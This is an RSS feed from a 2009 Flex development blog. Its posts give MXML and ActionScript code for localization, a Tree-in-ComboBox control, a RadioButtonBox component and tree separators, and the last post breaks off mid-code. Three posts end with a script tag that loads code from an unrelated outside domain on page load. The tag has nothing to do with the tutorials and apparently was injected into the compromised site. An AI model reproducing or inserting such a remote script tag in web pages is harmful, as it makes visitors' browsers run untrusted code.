<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>myFlexibleLife &#187; Flex framework</title>
	<atom:link href="http://www.myflexiblelife.com/topics/flexframework/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.myflexiblelife.com</link>
	<description>A blog on Flex, ActionScript, RIAs and related open source technologies</description>
	<lastBuildDate>Thu, 27 Aug 2009 12:06:12 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How to localize a Flex application easily</title>
		<link>http://www.myflexiblelife.com/2009/08/27/how-to-localize-a-flex-application-easily/</link>
		<comments>http://www.myflexiblelife.com/2009/08/27/how-to-localize-a-flex-application-easily/#comments</comments>
		<pubDate>Thu, 27 Aug 2009 12:01:11 +0000</pubDate>
		<dc:creator>Alessandro Ronchi</dc:creator>
				<category><![CDATA[Flex framework]]></category>
		<category><![CDATA[Application]]></category>
		<category><![CDATA[i18n]]></category>
		<category><![CDATA[l10n]]></category>
		<category><![CDATA[localization]]></category>
		<category><![CDATA[ResourceBundle]]></category>
		<category><![CDATA[ResourceManager]]></category>

		<guid isPermaLink="false">http://www.myflexiblelife.com/?p=138</guid>
		<description><![CDATA[The LocalizableApplication is a tiny class I&#8217;ve written to facilitate the task of localizing a Flex application. A demo is shown below

Exploiting the LocalizableApplication class, writing a localizable application is as easy as shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
&#60;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&#62;
&#60;wg:LocalizableApplication 
  xmlns:mx=&#34;http://www.adobe.com/2006/mxml&#34;
  xmlns:wg=&#34;com.webgriffe.core.*&#34; 
  layout=&#34;vertical&#34;&#62;
&#160;
  &#60;mx:Metadata&#62;
    [ResourceBundle(&#34;resource&#34;)]
  &#60;/mx:Metadata&#62;
&#160;
  &#60;mx:Script&#62;
 [...]]]></description>
			<content:encoded><![CDATA[<p>The <strong>LocalizableApplication</strong> is a tiny class I&#8217;ve written to facilitate the task of <strong>localizing a Flex application</strong>. A demo is shown below</p>
<p><iframe src="http://www.myflexiblelife.com/flex/localizedapp/LocalizedApplication.html" width="100%" height="120"></iframe></p>
<p>Exploiting the LocalizableApplication class, writing a localizable application is as easy as shown below:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
</pre></td><td class="code"><pre class="mxml" style="font-family:monospace;"><span style="color: #000000;">&lt;?xml version=<span style="color: #ff0000;">&quot;1.0&quot;</span> encoding=<span style="color: #ff0000;">&quot;utf-8&quot;</span>?<span style="color: #7400FF;">&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;wg:LocalizableApplication</span> </span>
<span style="color: #000000;">  xmlns:mx=<span style="color: #ff0000;">&quot;http://www.adobe.com/2006/mxml&quot;</span></span>
<span style="color: #000000;">  xmlns:wg=<span style="color: #ff0000;">&quot;com.webgriffe.core.*&quot;</span> </span>
<span style="color: #000000;">  layout=<span style="color: #ff0000;">&quot;vertical&quot;</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Metadata</span><span style="color: #7400FF;">&gt;</span></span>
    [ResourceBundle(&quot;resource&quot;)]
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:Metadata</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
  <span style="color: #339933;">&lt;mx:Script&gt;</span>
<span style="color: #339933;">  &lt;![CDATA[</span>
<span style="color: #339933;">    [Bindable]</span>
<span style="color: #339933;">    private var _locales:Array = [&quot;en_US&quot;, &quot;it_IT&quot;];</span>
&nbsp;
<span style="color: #339933;">    private function changeLocale():void</span>
<span style="color: #339933;">    {</span>
<span style="color: #339933;">      var newLocale:String = myCombo.selectedItem as String;</span>
<span style="color: #339933;">      setLocale(newLocale);</span>
<span style="color: #339933;">    }</span>
<span style="color: #339933;">  ]]&gt;</span>
<span style="color: #339933;">  &lt;/mx:Script&gt;</span>
&nbsp;
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Label</span> text=<span style="color: #ff0000;">&quot;{__s('MY_TITLE')}&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:ComboBox</span> id=<span style="color: #ff0000;">&quot;myCombo&quot;</span> </span>
<span style="color: #000000;">    dataProvider=<span style="color: #ff0000;">&quot;{_locales}&quot;</span> </span>
<span style="color: #000000;">    change=<span style="color: #ff0000;">&quot;changeLocale()&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Label</span> text=<span style="color: #ff0000;">&quot;{__s('MY_TEXT')}&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
&nbsp;
<span style="color: #000000;"><span style="color: #7400FF;">&lt;/wg:LocalizableApplication</span><span style="color: #7400FF;">&gt;</span></span></pre></td></tr></table></div>

<p>The LocalizableApplication provides some <strong>helper functions </strong>which let you use something like <code>__s('MY_TITLE')</code> instead of <code>resourceManager.getString("resource", "MY_TITLE")</code>. Faster and easier, isn&#8217;t it?</p>
<p><a href="http://www.myflexiblelife.com/flex/localizedapp/srcview/LocalizedApplication.zip">Click here</a> to download full source code.</p>
<p>Enjoy!</p>
<h3>References</h3>
<ul>
<li><a title="Flex 3:Feature Introductions: Runtime Localization" href="http://labs.adobe.com/wiki/index.php/Flex_3:Feature_Introductions:_Runtime_Localization">Flex 3:Feature Introductions: Runtime Localization</a></li>
</ul>
<p> <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.myflexiblelife.com/2009/08/27/how-to-localize-a-flex-application-easily/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>How to combine the power of a Flex Tree control within a ComboBox</title>
		<link>http://www.myflexiblelife.com/2009/07/22/how-to-combine-the-power-of-a-flex-tree-control-within-a-combobox/</link>
		<comments>http://www.myflexiblelife.com/2009/07/22/how-to-combine-the-power-of-a-flex-tree-control-within-a-combobox/#comments</comments>
		<pubDate>Wed, 22 Jul 2009 16:32:31 +0000</pubDate>
		<dc:creator>Alessandro Ronchi</dc:creator>
				<category><![CDATA[Flex framework]]></category>
		<category><![CDATA[ComboBox]]></category>
		<category><![CDATA[dropdownFactory]]></category>
		<category><![CDATA[List]]></category>
		<category><![CDATA[Tree]]></category>

		<guid isPermaLink="false">http://www.myflexiblelife.com/?p=105</guid>
		<description><![CDATA[I&#8217;ve found a good example of how to nest a Flex Tree into a ComboBox with only one issue: the selected tree node wasn&#8217;t shown once you close and open back the combo box. So I&#8217;ve decided to rewrite the component from scratch trying to remove that issue. The result is shown below.

Here is the [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve found a <strong>good example </strong>of how to <strong>nest a Flex Tree into a ComboBox</strong> with only one issue: the selected tree node wasn&#8217;t shown once you close and open back the combo box. So I&#8217;ve decided to rewrite the component from scratch trying to remove that issue. The result is shown below.</p>
<p><iframe src="http://www.myflexiblelife.com/flex/combotree/ComboTree.html" width="100%" height="330"></iframe></p>
<p>Here is the mxml code of the example shown above.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
</pre></td><td class="code"><pre class="mxml" style="font-family:monospace;"><span style="color: #000000;">&lt;?xml version=<span style="color: #ff0000;">&quot;1.0&quot;</span>?<span style="color: #7400FF;">&gt;</span></span> 
<span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Application</span> </span>
<span style="color: #000000;">    xmlns:mx=<span style="color: #ff0000;">&quot;http://www.adobe.com/2006/mxml&quot;</span></span>
<span style="color: #000000;">    xmlns:wg=<span style="color: #ff0000;">&quot;com.webgriffe.components.*&quot;</span> </span>
<span style="color: #000000;">    creationComplete=<span style="color: #ff0000;">&quot;loadXML()&quot;</span><span style="color: #7400FF;">&gt;</span></span> 
&nbsp;
  <span style="color: #339933;">&lt;mx:Script&gt; </span>
<span style="color: #339933;">  &lt;![CDATA[ </span>
<span style="color: #339933;">      import mx.collections.XMLListCollection; </span>
<span style="color: #339933;">      import mx.rpc.events.ResultEvent; </span>
<span style="color: #339933;">      import mx.rpc.http.mxml.HTTPService; </span>
&nbsp;
<span style="color: #339933;">      public var xmlService:HTTPService = new HTTPService(); </span>
&nbsp;
<span style="color: #339933;">      [Bindable]</span>
<span style="color: #339933;">      public var xmlResult:XML;</span>
&nbsp;
<span style="color: #339933;">      [Bindable] </span>
<span style="color: #339933;">      public var xmlList:XMLList;</span>
&nbsp;
<span style="color: #339933;">      [Bindable] </span>
<span style="color: #339933;">      public var xmlTeams:XMLListCollection; </span>
&nbsp;
<span style="color: #339933;">    public function loadXML():void </span>
<span style="color: #339933;">    { </span>
<span style="color: #339933;">      xmlService.url = &quot;mlb.xml&quot;                 </span>
<span style="color: #339933;">      xmlService.resultFormat = &quot;e4x&quot;; </span>
<span style="color: #339933;">      xmlService.addEventListener(ResultEvent.RESULT, resultHandler); </span>
<span style="color: #339933;">      xmlService.send(); </span>
<span style="color: #339933;">    } </span>
&nbsp;
<span style="color: #339933;">    public function resultHandler(event:ResultEvent):void </span>
<span style="color: #339933;">      { </span>
<span style="color: #339933;">         xmlResult = XML(event.result); </span>
<span style="color: #339933;">         xmlList = xmlResult.league; </span>
<span style="color: #339933;">         xmlTeams = new XMLListCollection(xmlList); </span>
<span style="color: #339933;">      } </span>
<span style="color: #339933;">  ]]&gt; </span>
<span style="color: #339933;">  &lt;/mx:Script&gt;</span> 
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;wg:TreeComboBox</span> </span>
<span style="color: #000000;">      width=<span style="color: #ff0000;">&quot;200&quot;</span> treeHeight=<span style="color: #ff0000;">&quot;250&quot;</span> </span>
<span style="color: #000000;">      dataProvider=<span style="color: #ff0000;">&quot;{xmlTeams}&quot;</span></span>
<span style="color: #000000;">      labelField=<span style="color: #ff0000;">&quot;@label&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:Application</span><span style="color: #7400FF;">&gt;</span></span></pre></td></tr></table></div>

<p>To implement a Flex Tree within a ComboBox we have to reassign the default ComboBox <strong>dropdownFactory</strong>. By default it&#8217;s a List control so we assign it a customized Tree control and add some code to let both the components know each other in order to bind their behaviours. By binding behaviours i mean:</p>
<ul>
<li>When you open the ComboBox, the Tree must be expanded in order to show the selected node.</li>
<li>When you select a node in the Tree, the ComboBox text should be assigned the selected node&#8217;s label.</li>
</ul>
<p>Click <a title="Source code" href="http://www.myflexiblelife.com/flex/combotree/TreeCombo.zip">here to download</a> a zip file with the source files.</p>
<p>I wan to <strong>greet </strong>the authors of the following articles which represented the starting point of my work:</p>
<ul>
<li><a href="http://kmossman.blogspot.com/2007/03/blog-post.html">http://kmossman.blogspot.com/2007/03/blog-post.html</a></li>
<li><a href="http://www.mail-archive.com/flexcoders@yahoogroups.com/msg85229.html">http://www.mail-archive.com/flexcoders@yahoogroups.com/msg85229.html</a></li>
</ul>
<p>Enjoy! <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.myflexiblelife.com/2009/07/22/how-to-combine-the-power-of-a-flex-tree-control-within-a-combobox/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Simplify radio button usage with a RadioButtonBox component</title>
		<link>http://www.myflexiblelife.com/2009/07/16/simplify-radio-button-usage-with-a-radiobuttonbox-component/</link>
		<comments>http://www.myflexiblelife.com/2009/07/16/simplify-radio-button-usage-with-a-radiobuttonbox-component/#comments</comments>
		<pubDate>Thu, 16 Jul 2009 09:56:32 +0000</pubDate>
		<dc:creator>Alessandro Ronchi</dc:creator>
				<category><![CDATA[Flex framework]]></category>
		<category><![CDATA[RadioButton]]></category>
		<category><![CDATA[RadioButtonBox]]></category>
		<category><![CDATA[RadioButtonGroup]]></category>

		<guid isPermaLink="false">http://www.myflexiblelife.com/?p=91</guid>
		<description><![CDATA[This post is about the tiny implementation of a RadioButtonBox component which simplifies the usage of radio buttons in Flex applications.
You can insert the RadioButtonBox component wherever you want in your application, add radio buttons within it and read the value property of the RadioButtonBox to know which value is selected.
Here follows an MXML usage [...]]]></description>
			<content:encoded><![CDATA[<p>This post is about the <strong>tiny implementation</strong> of a <strong>RadioButtonBox</strong> component which <strong>simplifies</strong> the usage of <strong>radio buttons</strong> in Flex applications.</p>
<p>You can insert the RadioButtonBox component wherever you want in your application, add radio buttons within it and read the <strong>value</strong> property of the RadioButtonBox to know which value is selected.</p>
<p>Here follows an MXML usage example:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
</pre></td><td class="code"><pre class="mxml" style="font-family:monospace;"><span style="color: #000000;">&lt;?xml version=<span style="color: #ff0000;">&quot;1.0&quot;</span> encoding=<span style="color: #ff0000;">&quot;utf-8&quot;</span>?<span style="color: #7400FF;">&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Application</span> </span>
<span style="color: #000000;">    xmlns:mx=<span style="color: #ff0000;">&quot;http://www.adobe.com/2006/mxml&quot;</span></span>
<span style="color: #000000;">    xmlns:wg=<span style="color: #ff0000;">&quot;com.webgriffe.components.*&quot;</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
  <span style="color: #339933;">&lt;mx:Script&gt;</span>
<span style="color: #339933;">  &lt;![CDATA[</span>
<span style="color: #339933;">    import mx.controls.Alert;</span>
<span style="color: #339933;">  ]]&gt;</span>
<span style="color: #339933;">  &lt;/mx:Script&gt;</span>
&nbsp;
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;wg:RadioButtonBox</span> id=<span style="color: #ff0000;">&quot;group&quot;</span> direction=<span style="color: #ff0000;">&quot;horizontal&quot;</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:RadioButton</span> label=<span style="color: #ff0000;">&quot;uno&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:RadioButton</span> label=<span style="color: #ff0000;">&quot;due&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:RadioButton</span> label=<span style="color: #ff0000;">&quot;tre&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;/wg:RadioButtonBox</span><span style="color: #7400FF;">&gt;</span></span>
&nbsp;
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Button</span> label=<span style="color: #ff0000;">&quot;test&quot;</span> </span>
<span style="color: #000000;">      click=<span style="color: #ff0000;">&quot;Alert.show('Selected value: ' + group.value)&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
&nbsp;
<span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:Application</span><span style="color: #7400FF;">&gt;</span></span></pre></td></tr></table></div>

<p>The source code of the RadioButtonBox is the following:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
</pre></td><td class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #9900cc; font-weight: bold;">package</span> com.webgriffe.components
<span style="color: #000000;">&#123;</span>
<span style="color: #0033ff; font-weight: bold;">import</span> <span style="color: #004993;">flash.display</span>.<span style="color: #004993;">DisplayObject</span>;
&nbsp;
<span style="color: #0033ff; font-weight: bold;">import</span> mx.containers.Box;
<span style="color: #0033ff; font-weight: bold;">import</span> mx.controls.RadioButton;
<span style="color: #0033ff; font-weight: bold;">import</span> mx.controls.RadioButtonGroup;
&nbsp;
<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #9900cc; font-weight: bold;">class</span> RadioButtonBox extends Box
<span style="color: #000000;">&#123;</span>
  <span style="color: #009900;">// -------------------------------------------------------------------------</span>
  <span style="color: #009900;">//</span>
  <span style="color: #009900;">// Properties </span>
  <span style="color: #009900;">//      </span>
  <span style="color: #009900;">// -------------------------------------------------------------------------</span>
&nbsp;
  <span style="color: #0033ff; font-weight: bold;">private</span> <span style="color: #6699cc; font-weight: bold;">var</span> _group<span style="color: #000000; font-weight: bold;">:</span>RadioButtonGroup;
&nbsp;
  <span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> <span style="color: #0033ff; font-weight: bold;">get</span> <span style="color: #004993;">value</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Object</span>
  <span style="color: #000000;">&#123;</span>
    <span style="color: #0033ff; font-weight: bold;">return</span> _group.selectedValue;
  <span style="color: #000000;">&#125;</span>
&nbsp;
  <span style="color: #009900;">// -------------------------------------------------------------------------</span>
  <span style="color: #009900;">//</span>
  <span style="color: #009900;">// Constructor </span>
  <span style="color: #009900;">//      </span>
  <span style="color: #009900;">// -------------------------------------------------------------------------</span>
&nbsp;
  <span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> RadioButtonBox<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
  <span style="color: #000000;">&#123;</span>
    <span style="color: #0033ff; font-weight: bold;">super</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
&nbsp;
    _group = <span style="color: #0033ff; font-weight: bold;">new</span> RadioButtonGroup<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
  <span style="color: #000000;">&#125;</span>
&nbsp;
  <span style="color: #009900;">// -------------------------------------------------------------------------</span>
  <span style="color: #009900;">//</span>
  <span style="color: #009900;">// Overridden Methods </span>
  <span style="color: #009900;">//      </span>
  <span style="color: #009900;">// -------------------------------------------------------------------------</span>
&nbsp;
  override <span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> <span style="color: #004993;">addChild</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">child</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">DisplayObject</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">DisplayObject</span>
  <span style="color: #000000;">&#123;</span>
    <span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span><span style="color: #004993;">child</span> <span style="color: #0033ff; font-weight: bold;">is</span> RadioButton<span style="color: #000000;">&#41;</span>
    <span style="color: #000000;">&#123;</span>
      RadioButton<span style="color: #000000;">&#40;</span><span style="color: #004993;">child</span><span style="color: #000000;">&#41;</span>.group = _group;
    <span style="color: #000000;">&#125;</span>
&nbsp;
    <span style="color: #0033ff; font-weight: bold;">return</span> <span style="color: #0033ff; font-weight: bold;">super</span>.<span style="color: #004993;">addChild</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">child</span><span style="color: #000000;">&#41;</span>;
  <span style="color: #000000;">&#125;</span>
&nbsp;
<span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span></pre></td></tr></table></div>

<p>Enjoy! <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.myflexiblelife.com/2009/07/16/simplify-radio-button-usage-with-a-radiobuttonbox-component/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to add a line separator in a Flex Tree component</title>
		<link>http://www.myflexiblelife.com/2009/05/08/how-to-add-a-line-separator-in-a-flex-tree-component/</link>
		<comments>http://www.myflexiblelife.com/2009/05/08/how-to-add-a-line-separator-in-a-flex-tree-component/#comments</comments>
		<pubDate>Fri, 08 May 2009 17:05:58 +0000</pubDate>
		<dc:creator>Alessandro Ronchi</dc:creator>
				<category><![CDATA[Flex framework]]></category>
		<category><![CDATA[commitProperties]]></category>
		<category><![CDATA[HRule]]></category>
		<category><![CDATA[separator]]></category>
		<category><![CDATA[set data]]></category>
		<category><![CDATA[Tree]]></category>
		<category><![CDATA[TreeItemRenderer]]></category>
		<category><![CDATA[updateDisplayList]]></category>
		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://www.myflexiblelife.com/?p=33</guid>
		<description><![CDATA[Ever wanted to use a line separator in a Tree? It&#8217;s all a matter of customizing the Flex Tree and TreeItemRenderer and you can obtain what is shown in the example below.

Here are the steps to implement it:

define a property in your model to indicate that an item is a separator;
implement a customized TreeItemRenderer which [...]]]></description>
			<content:encoded><![CDATA[<p>Ever wanted to use a <strong>line separator</strong> in a Tree? It&#8217;s all a matter of customizing the Flex <strong>Tree</strong> and <strong>TreeItemRenderer</strong> and you can obtain what is shown in the example below.</p>
<p><iframe src="http://www.myflexiblelife.com/flex/mytree/MyTree.html" width="100%" height="300"></iframe></p>
<p>Here are the steps to implement it:</p>
<ul>
<li>define a <strong>property </strong>in your model to indicate that an <strong>item is a separator</strong>;</li>
<li>implement a <strong>customized TreeItemRenderer</strong> which stores a <strong>flag </strong>to keep track about the fact the node is a separator. This flag is used in some <strong>overridden methods</strong> to handle <strong>icon display</strong> and <strong>line drawing</strong>;</li>
<li>implement a <strong>customized Tree</strong> control which overrides some methods to <strong>avoid separator to be selected</strong>.</li>
</ul>
<p>Let&#8217;s start by defining a property which indicates that an item in a tree is a separator. I keep things simple here and use a code snippet inspired by the <a title="Adobe Flex3 Component Explorer" href="http://examples.adobe.com/flex3/componentexplorer/explorer.html">Adobe Flex3 Component Explorer</a> in <em>MyTree.mxml</em>:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
</pre></td><td class="code"><pre class="mxml" style="font-family:monospace;"><span style="color: #000000;">&lt;?xml version=<span style="color: #ff0000;">&quot;1.0&quot;</span> encoding=<span style="color: #ff0000;">&quot;utf-8&quot;</span>?<span style="color: #7400FF;">&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:Application</span> </span>
<span style="color: #000000;">    xmlns:mx=<span style="color: #ff0000;">&quot;http://www.adobe.com/2006/mxml&quot;</span></span>
<span style="color: #000000;">    xmlns:my=<span style="color: #ff0000;">&quot;my.controls.*&quot;</span></span>
<span style="color: #000000;">    layout=<span style="color: #ff0000;">&quot;vertical&quot;</span> backgroundColor=<span style="color: #ff0000;">&quot;#777777&quot;</span> </span>
<span style="color: #000000;">    viewSourceURL=<span style="color: #ff0000;">&quot;srcview/index.html&quot;</span><span style="color: #7400FF;">&gt;</span></span>
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;mx:XMLList</span> id=<span style="color: #ff0000;">&quot;treeData&quot;</span><span style="color: #7400FF;">&gt;</span></span>
    <span style="color: #000000;">&lt;node label=<span style="color: #ff0000;">&quot;Mail Box&quot;</span><span style="color: #7400FF;">&gt;</span></span>
      <span style="color: #000000;">&lt;node label=<span style="color: #ff0000;">&quot;Inbox&quot;</span><span style="color: #7400FF;">&gt;</span></span>
        <span style="color: #000000;">&lt;node label=<span style="color: #ff0000;">&quot;Marketing&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
        <span style="color: #000000;">&lt;node label=<span style="color: #ff0000;">&quot;Product Management&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
        <span style="color: #000000;">&lt;node label=<span style="color: #ff0000;">&quot;Personal&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
      <span style="color: #000000;">&lt;/node<span style="color: #7400FF;">&gt;</span></span>
      <span style="color: #000000;">&lt;node label=<span style="color: #ff0000;">&quot;Outbox&quot;</span><span style="color: #7400FF;">&gt;</span></span>
        <span style="color: #000000;">&lt;node label=<span style="color: #ff0000;">&quot;Professional&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
        <span style="color: #000000;">&lt;node label=<span style="color: #ff0000;">&quot;Personal&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
      <span style="color: #000000;">&lt;/node<span style="color: #7400FF;">&gt;</span></span>
      <span style="color: #000000;">&lt;node separator=<span style="color: #ff0000;">&quot;true&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
      <span style="color: #000000;">&lt;node label=<span style="color: #ff0000;">&quot;Spam&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
      <span style="color: #000000;">&lt;node label=<span style="color: #ff0000;">&quot;Sent&quot;</span><span style="color: #7400FF;">/&gt;</span></span>
    <span style="color: #000000;">&lt;/node<span style="color: #7400FF;">&gt;</span></span> 
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:XMLList</span><span style="color: #7400FF;">&gt;</span></span> 
  <span style="color: #000000;"><span style="color: #7400FF;">&lt;my:MyTree</span> </span>
<span style="color: #000000;">      width=<span style="color: #ff0000;">&quot;100%&quot;</span> height=<span style="color: #ff0000;">&quot;100%&quot;</span></span>
<span style="color: #000000;">      dataProvider=<span style="color: #ff0000;">&quot;{treeData}&quot;</span></span>
<span style="color: #000000;">      labelField=<span style="color: #ff0000;">&quot;@label&quot;</span> <span style="color: #7400FF;">/&gt;</span></span>
<span style="color: #000000;"><span style="color: #7400FF;">&lt;/mx:Application</span><span style="color: #7400FF;">&gt;</span></span></pre></td></tr></table></div>

<p>You can notice that to indicate a node is a separator I simply use a <code>separator</code> XML attribute whose value is set to <code>true</code>.</p>
<p>The second step consists of implementing a <strong>MyTreeItemRenderer</strong> class which extends <strong>TreeItemRenderer</strong> and declares a <code>isSeparator</code> property used to store information about whether the current node is a separator.</p>
<p>I then override the <code>set data </code>method in order to store <code>isSeparator</code> value as shown in the code below taken from <em>MyTreeItemRenderer.as</em>:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>102
103
104
105
106
107
108
109
</pre></td><td class="code"><pre class="actionscript3" style="font-family:monospace;">override <span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> <span style="color: #0033ff; font-weight: bold;">set</span> <span style="color: #004993;">data</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">value</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Object</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span>
<span style="color: #000000;">&#123;</span>
  <span style="color: #0033ff; font-weight: bold;">super</span>.<span style="color: #004993;">data</span> = <span style="color: #004993;">value</span>;
&nbsp;
  <span style="color: #009900;">// Check whether current node is a separator</span>
  isSeparator = <span style="color: #000000;">&#40;</span><span style="color: #004993;">value</span> <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #0033ff; font-weight: bold;">null</span> <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> <span style="color: #004993;">value</span>.@separator <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #0033ff; font-weight: bold;">null</span>
    <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> <span style="color: #990000;">&quot;true&quot;</span> == <span style="color: #004993;">String</span><span style="color: #000000;">&#40;</span><span style="color: #004993;">value</span>.@separator<span style="color: #000000;">&#41;</span>.<span style="color: #004993;">toLowerCase</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span></pre></td></tr></table></div>

<p>I also need to <strong>avoid icon display</strong> in separator nodes, so I have to set the <strong>visibility</strong> of the icon to false. I can&#8217;t do that in the <code>set data</code> method because in component creation life cycle visibility property is not yet available in that method. So I override the <code>commitProperties</code> method in the following way (code from <em>MyTreeItemRenderer.as</em>):</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>115
116
117
118
119
120
121
122
</pre></td><td class="code"><pre class="actionscript3" style="font-family:monospace;">override <span style="color: #0033ff; font-weight: bold;">protected</span> <span style="color: #339966; font-weight: bold;">function</span> commitProperties<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span>
<span style="color: #000000;">&#123;</span>
  <span style="color: #0033ff; font-weight: bold;">super</span>.commitProperties<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
  <span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span>isSeparator<span style="color: #000000;">&#41;</span>
  <span style="color: #000000;">&#123;</span>
    icon.<span style="color: #004993;">visible</span> = <span style="color: #0033ff; font-weight: bold;">false</span>; 
  <span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span></pre></td></tr></table></div>

